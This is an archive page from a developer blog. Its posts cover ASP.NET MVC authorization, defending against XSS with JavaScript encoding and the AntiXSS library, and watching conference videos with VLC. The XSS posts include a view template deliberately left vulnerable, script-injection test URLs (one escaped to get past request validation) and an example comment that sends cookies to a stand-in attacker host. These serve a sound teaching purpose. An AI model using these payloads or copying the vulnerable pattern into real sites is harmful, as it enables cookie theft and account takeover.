April 2011 - Posts - Jon Galloway

April 2011 - Posts

Looking at how the ASP.NET MVC Authorize interacts with ASP.NET Forms Authorization

Background: The Authorization flow in a default ASP.NET MVC Internet Application

ASP.NET MVC includes an [Authorize] attribute, which when placed on any controller actions will forbid unauthorized access. The AuthorizeAttribute allows you to specify a list of roles or users, like this:


[Authorize(Roles="CEO,HR")]
public ActionResult FireEmployee(int id)
{
    var employee = GetEmployees().Single(e => a.EmployeeId == id);

    //TODO: Fix the glitch

    return View(employee);
}

You can also place the AuthorizeAttribute on a controller, in which case it will apply to all actions in the controller. Attempting to access an action secured by the AuthorizeAttribute when you're not logged in will take you to a standard LogOn screen, with a link to register if you don't already have an account.

2011-04-23 23h45_12

You don't have to write this code, because the ASP.NET MVC 3 Internet Application template includes a basic AccountController which implements the following actions (along with the associated models and views):

  • LogOn
  • Register
  • ChangePassword / ChangePasswordSuccess

How does the [Authorize] attribute redirect me to Log On?

The AuthorizeAttribute is an ActionFilter, which means that it can execute before the associated controller action. The AuthorizeAttribute performs its main work in the OnAuthorization method, which is a standard method defined in the IAuthorizationFilter interface. Checking the MVC source code, we can see that the underlying security check is really just looking at the underlying authentication information held by the ASP.NET context:


IPrincipal user = httpContext.User;

if (!user.Identity.IsAuthenticated)
{
    return false;
}

If the user fails authentication, an HttpUnauthorizedResult ActionResult is returned, which produces an HTTP 401(Unauthorized) status code. If it weren’t for ASP.NET Forms Authentication, an HTTP 401 status code would be sent to the browser, which would show the browser’s default login prompt. You can get an idea using the (very useful) httpstat.us site, browsing to http://httpstat.us/401

2011-04-28 16h08_23

These 401 prompts are uniformly hideous, but the real problem is that they aren’t able to authenticate against membership systems running on your server. That’s why most websites prefer to display a nice login web form (as shown in the first login screenshot). As mentioned earlier, that’s where ASP.NET Forms Authentication comes into play.

How ASP.NET Forms Authentication turns MVC’s 401 errors into a redirect to a login page

Your application’s web.config contains the settings you’re most likely to need to edit. There are a lot of other default values living in the Framework’s web.config file. On my default installation, that file is found at C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config. If you crack that open, you’ll see that there are 14 default HTTP Modules installed. One of them is the FormsAuthenticationModule. The code for the FormsAuthenticationModule is found in System.Web.dll.

The FormsAuthenticationModule OnLeave method has one purpose: it checks for 401 responses and turns them into redirects. Before it redirects, though, it figures out a return url so so after completing login successfully, the Account / Logon action redirects to the originally requested page.

The login url is defined in the application’s web.config, as shown below.


<authentication mode="Forms">
    <forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>

You can of course change this login url to any custom location that makes sense for you.

The AccountController LogOn method is a standard ASP.NET MVC controller action. There’s not a lot of code here, since it’s leveraging the underlying membership provider mechanism in ASP.NET.


[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
	if (ModelState.IsValid)
	{
		if (Membership.ValidateUser(model.UserName, model.Password))
		{
			FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe);
			if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/")
				&& !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\"))
			{
				return Redirect(returnUrl);
			}
			else
			{
				return RedirectToAction("Index", "Home");
			}
		}
		else
		{
			ModelState.AddModelError("", "The user name or password provided is incorrect.");
		}
	}

	// If we got this far, something failed, redisplay form
	return View(model);
}

This is all configurable

It’s nice that this is all provided in an ASP.NET MVC the Internet Application and Intranet Application templates. In simple cases, adding authorization doesn’t require any additional code or configuration.

Equally nice, though, is that you can change any of those parts:

  • The AccountController (as well as the associated Account models and views) is a standard ASP.NET MVC controller, which is pretty easy to modify. You can see an example of this in the MVC Music Store tutorial, in which we migrate an anonymous shopping cart to a user account on registration / login.
  • The authorization calls work against the standard ASP.NET Membership provider mechanism, as defined in your web.config <authorization> setting. You can switch providers, or write your own.
  • The AuthorizeAttribute is a standard authorization attribute, implementing IAuthorizeFilter. You can create your own authorization filters.
Posted by Jon Galloway | 12 comment(s)
Filed under: ,

Preventing Javascript Encoding XSS attacks in ASP.NET MVC

I just posted about cross-site scripting, or XSS attacks, in ASP.NET  - take a quick look at that post for some background on XSS attacks. I wanted to take a deeper look at Javascript Encoding XSS attacks. They're a particularly tricky form of XSS, since Javascript encoded values are valid HTML and will pass through default HTML encoding. Here's an example - let's assume we want to add a special welcome message to our home page if a UserName parameter is present so we can send out personalized links to the site in an e-mail promotion. We start by modifying the HomeController / Index method:

public ActionResult Index(string UserName)
{
    ViewBag.UserName = UserName;
    return View();
}

Then we add this information to the home index view, using Javascript so that we can make sure our users notice it:

Warning: Do not use this code - it's got an XSS vulnerability.

@{
    ViewBag.Title = "Home Page";
}
<h2 id="welcome-message">Welcome to our website</h2>

@if(!string.IsNullOrWhiteSpace(ViewBag.UserName)) {
<script type="text/javascript">
    $(function () {
        var message = 'Welcome, @ViewBag.UserName!';
        $("#welcome-message").html(message).hide().show('slow');
    });
</script>
}

Sadly, we've just exposed our end users to an XSS vulnerability. Nonsense, you say! We tested that with the following url: http://localhost:58570/?UserName=<script>alert('pwnd')</script>

As you can see, it was detected by request validation:

2011-04-28 11h03_54

But since this value is being rendered via Javascript, it's vulnerable to Javascript encoding, which won't be picked up by the ASP.NET encoder. Try this url: http://localhost:58570/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e

2011-04-28 11h09_15

Note: Remember that we're using an alert here for demonstration purposes, but a real XSS attack will do something more sinister, designed so end users will never notice.

Fixing the Javascript encoding XSS vulnerability

There are two ways to handle this. The simplest is to use the @Ajax.JavaScriptStringEncode helper function, like this:

@{
    ViewBag.Title = "Home Page";
}
<h2 id="welcome-message">Welcome to our website</h2>

@if(!string.IsNullOrWhiteSpace(ViewBag.UserName)) {
<script type="text/javascript">
    $(function () {
        var message = 'Welcome, @Ajax.JavaScriptStringEncode(ViewBag.UserName)!';
        $("#welcome-message").html(message).hide().show('slow');
    });
</script>
}

If we've included the AntiXSS library in our project, we can bring in the namespace with a @using Microsoft.Security.Application statement and call into the AntiXSS library's JavaScriptStringEncode function, which follows a whitelist approach to screen out alternate encodings and character sets.

@using Microsoft.Security.Application

@{
    ViewBag.Title = "Home Page";
}
<h2 id="welcome-message">Welcome to our website</h2>

@if(!string.IsNullOrWhiteSpace(ViewBag.UserName)) {
<script type="text/javascript">
    $(function () {
        var message = 'Welcome, @Encoder.JavaScriptEncode(ViewBag.UserName, false)!';
        $("#welcome-message").html(message).hide().show('slow');
    });
</script>
}

Note: By default, the AntiXSS JavaScriptEncode function wraps the value in single quotes. With AntiXSS 4.1, there's an optional second parameter which allows turning that behavior off by passing in false, as shown above.

With either of the above two checks in place, the Javascript XSS injection is caught:

2011-04-28 11h22_21

Using AntiXSS 4.1 Beta as the Default Encoder in ASP.NET

Background on Cross-site scripting attacks

Cross-site scripting attacks, or XSS, are a common web application vulnerability in which an attacker uses your website to present malicious code to another user. OWASP sums it up like this:

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

A simple example of this kind of attack works like this:

  1. A hacker - we'll call him Barry - notices that my blog's comment system doesn't screen input
  2. Barry posts some malicious content, maybe something with a script tag, or maybe something that steals cookies, like
    Great post! Gucci handbags! <img src='http://evil.ly/?cookies=' + escape(document.cookie)" />
  3. The next person to visit my site - we'll call him Rob Conery - is presented with the HTML that Barry posted in the comment, which grabs their cookies and sends them off to their evil server

This is a simple example, but as you can imagine, these attacks can get pretty devious. Twitter, Facebook, and MySpace have been hit with this. Take a look at the OWASP writeup for more info, and take a look at the XSS Cheat Sheet at ha.ckers.org to get an idea of how sneaky these attacks can be.

AntiXSS

AntiXSS, part of the Windows Protection Library, has a lot of encoding functions which help prevent XSS attacks in ASP.NET applications. Whereas the standard .NET framework encoding uses a blacklist approach, filtering out known bad characters, like < > and " characters, the AntiXSS library uses a whitelist of known good characters. AntiXSS also has protections in place spanning character sets in over a different languages. Due to this approach, AntiXSS is inherently safer against new XSS attacks.

There are two ways you can use AntiXSS in your ASP.NET applications:

  1. You can make use of the AntiXSS Encoder in your application code (e.g. controller code, View markup, Web Forms code behind, and Web Forms markup)
  2. If you're using ASP.NET 4.0, you can also specify a default encoder, which will be used by ASP.NET whenever it needs to encode output. The recommended approach is to use AntiXSS as your default encoder.

All this is, so far, old news. Phil Haack wrote a blog post last year on  Using AntiXss As The Default Encoder For ASP.NET. This required including the AntiXssLibrary assembly in your application, and writing a class which inherits from the HttpEncoder abstract base class, and making a setting in the web.config which tells the ASP.NET runtime to use your encoder class.

Starting with AntiXSS 4.1, though, this gets easier, since AntiXSS 4.1 includes an encoder class for you.

Getting the AntiXSS 4.1 library

Since AntiXSS 4.1 is currently in beta, you'll need to build the assembly from source. Fortunately, in a break from the standard OSS .NET projects I've encountered lately, Barry has posted source that builds without any wacky configuration steps, libraries, or build tools whatsoever. I like it already!

Note: Since this we're just adding an assembly to our project and making a simple change to the web.config, I would expect that this will be available as a  NuGet package when AntiXSS 4.1 goes RTM.

1. Grab the source from http://wpl.codeplex.com/SourceControl/list/changesets, download the latest version of the source, and build. Easy so far.

2. Build the Microsoft.Security.Application.Encoder.Net4 assembly. This is important - if you just build the Encoder project, it won't include the AntiXssEncoder class.

2011-04-27 16h28_43

3. Grab the AntiXssEncoder.dll assembly and drop it in a folder. I generally keep a /lib folder next to my project folder, so it sits next to the /packages folder if you've got NuGet packages installed as well.

2011-04-28 10h03_08

4. Add a project reference to the AntiXssLibrary.dll. The simplest way to do this is to use the Project / Add Reference dialog, pick the Browse tab, and navigate to the /lib folder you just added.

2011-04-28 10h06_47

5. Modify your web.config so that your system.web/httpRuntime/encoderType is set as shown below:


<system.web>
  <httpRuntime encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" />
  <compilation debug="true" targetFramework="4.0">
    <assemblies>
      <add assembly="System.Web.Abstractions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Helpers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Routing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.Mvc, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
      <add assembly="System.Web.WebPages, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
    </assemblies>
  </compilation>

That's it. Now any time ASP.NET needs to encode content, it will delegate to the AntiXssEncoder.

What's changed?

Well, there's really an observable change, honestly. I asked around for examples of known XSS vulnerabilities that would get by the ASP.NET default encoder but would be caught by switching to use AntiXSS as the default encoder and came up empty. So... was I just wasting your time?

No, this was still time well spent, for three reasons:

  1. AntiXSS is inherently more secure due to using a whitelist approach. Many security audits and certifications will require you to use a whitelist XSS encoder because a blacklist is always potentially vulnerable to unknown attacks.
  2. Newer browsers have better XSS filtering built in, but there are vulnerabilities in older browser (e.g. UTF-7 charset switch) which wouldn't be detected picked up by the ASP.NET default encoder.
  3. It's now easier to use the other AntiXSS encoding functions within your application. We'll look at that in the next post.
Posted by Jon Galloway | 17 comment(s)
Filed under: ,

Better ways to watch the MIX11 videos, Part 2: PowerShell

I just posted about my favorite way to watch videos: streaming the playlist at high speed using VLC. But there are times where you'd like a local copy of the videos, too, e.g. watching them while commuting without internet access.

I previously posted a PowerShell script to download the mvcConf videos from Channel 9. I got some great feedback from Albert Weinert and added some new changes of my own to prompt for media type and location. There are other (simpler) PowerShell downloaders out there, but this has some features I wanted, like skipping over files you've already downloaded, assigning good names to the files, etc.

Note: Remember that these are big files, especially the WMV High and MP4 High feeds. We're talking like 4GB for the keynotes.

There was one feature I wanted to add, but didn't have the time to figure it out: the different videos have categories assigned, and it'd be cool to filter the videos based on category. Here's a start of the code - it grabs a list of categories from all videos in the feed. Next step would be to prompt and filter. Fork my gist if you're interested, it'd be cool to see if someone adds that.

$categories= @()
$feed.rss.channel.item | foreach { $categories += $_.category}
$desiredCategories = PromptForInput "Enter desired categories (options: $categories)" ""

Better ways to watch the MIX11 videos, Part 1: VLC

I'm still catching up on all the great content at MIX 11. There is a ton of great content - 116 videos when I last looked. Scott Hanselman already posted a great summary of ways to get and watch them. With this many videos to watch, though, you might want to bring out some big guns, and that's what this post is all about.

Streaming them at high speed with VLC

VLC has long been my favorite media player. It's lightweight, plays just about every media format without any codec hassle, streams from network and internet locations without a hiccup, can save output to disk, has nice playlist support, and has great keyboard commands.

We'll take advantage of three of those features here:

  • Playlist support
  • Streaming from URL
  • High speed playback

If you don't already have VLC, grab it from http://www.videolan.org/ (protip: it's also available at http://ninite.com, the best way to load out your Windows machine with great free software).

Loading the Playlist

Run VLC and pop into Playlist mode. You can do that from the View menu, hit Ctrl+L, or click on the Playlist icon at the bottom to do that.

 2011-04-21 16h47_08

In the Playlist interface, expand the Internet group and click on + sign to the right of Podcasts.

2011-04-21 16h51_27

This brings up a prompt to enter the URL for the feed. You can enter the format of your choice here - in my case I'm going to pick the high bandwidth WMV feed: http://channel9.msdn.com/Events/MIX/MIX11/RSS/WmvHigh

You have a few options (the types are obvious from the last bit of the URL):

Note: When I first looked at this, I ran into a case sensitivity issue with these feeds, but I checked in with Duncan Mackenzie and I think he's got that fixed now. I'm just mentioning in case you run into any wierdness with the feeds - use the properly cased feeds as shown above.

2011-04-21 16h54_46

That grabs the feed and builds a playlist for us, and we're ready to rock.

2011-04-21 16h55_33

Streaming the videos

Now hold on a second, you say. How did it grab all those big video files so quickly? Where did it put them? Are you messing with me?

Here's where we get to that second thing on the list - streaming from a URL. We didn't download any files, and we're not going to. We're going to stream them. If you wanted them downloaded so you can watch them from your bomb shelter with no internet access, you'll need to hold on for the next post, where we'll look at a PowerShell download script. So when you hit play, it buffers the files and plays them for you as you go. It works great for me - I get to watch the videos and I don't need to hassle with managing GB's of video files.

Watching at high speed

So, double-click on of the video files to start watching. You can toggle between the video view mode and playlist mode the same way we did earlier - Ctrl+L, from the menu, or with the icon.

Now we get to take advantage of the next feature: high speed viewing with VLC. Like before, there are two ways to adjust the playback speed. The simple way is to click the play speed indicator in the bottom right to bring up a speed slider.

2011-04-21 17h13_26

The easier way, though, is to just use the square bracket buttons on your keyboard. [ slows down by 10%, and ] speeds up by 10%. When you hit the button, you'll see a brief indication in the upper right corner of the video showing that the speed has changed.

2011-04-21 17h15_48

The audio is sped up without affecting the pitch, so it's still pretty listenable.

One more protip: VLC has tons of keyboard shortcuts, which you can find in Tools / Preferences / Hotkeys. Two indispensible hotkeys are F (toggle fullscreen) and Spacebar (toggle play and pause).

Posted by Jon Galloway | 1 comment(s)
Filed under:
More Posts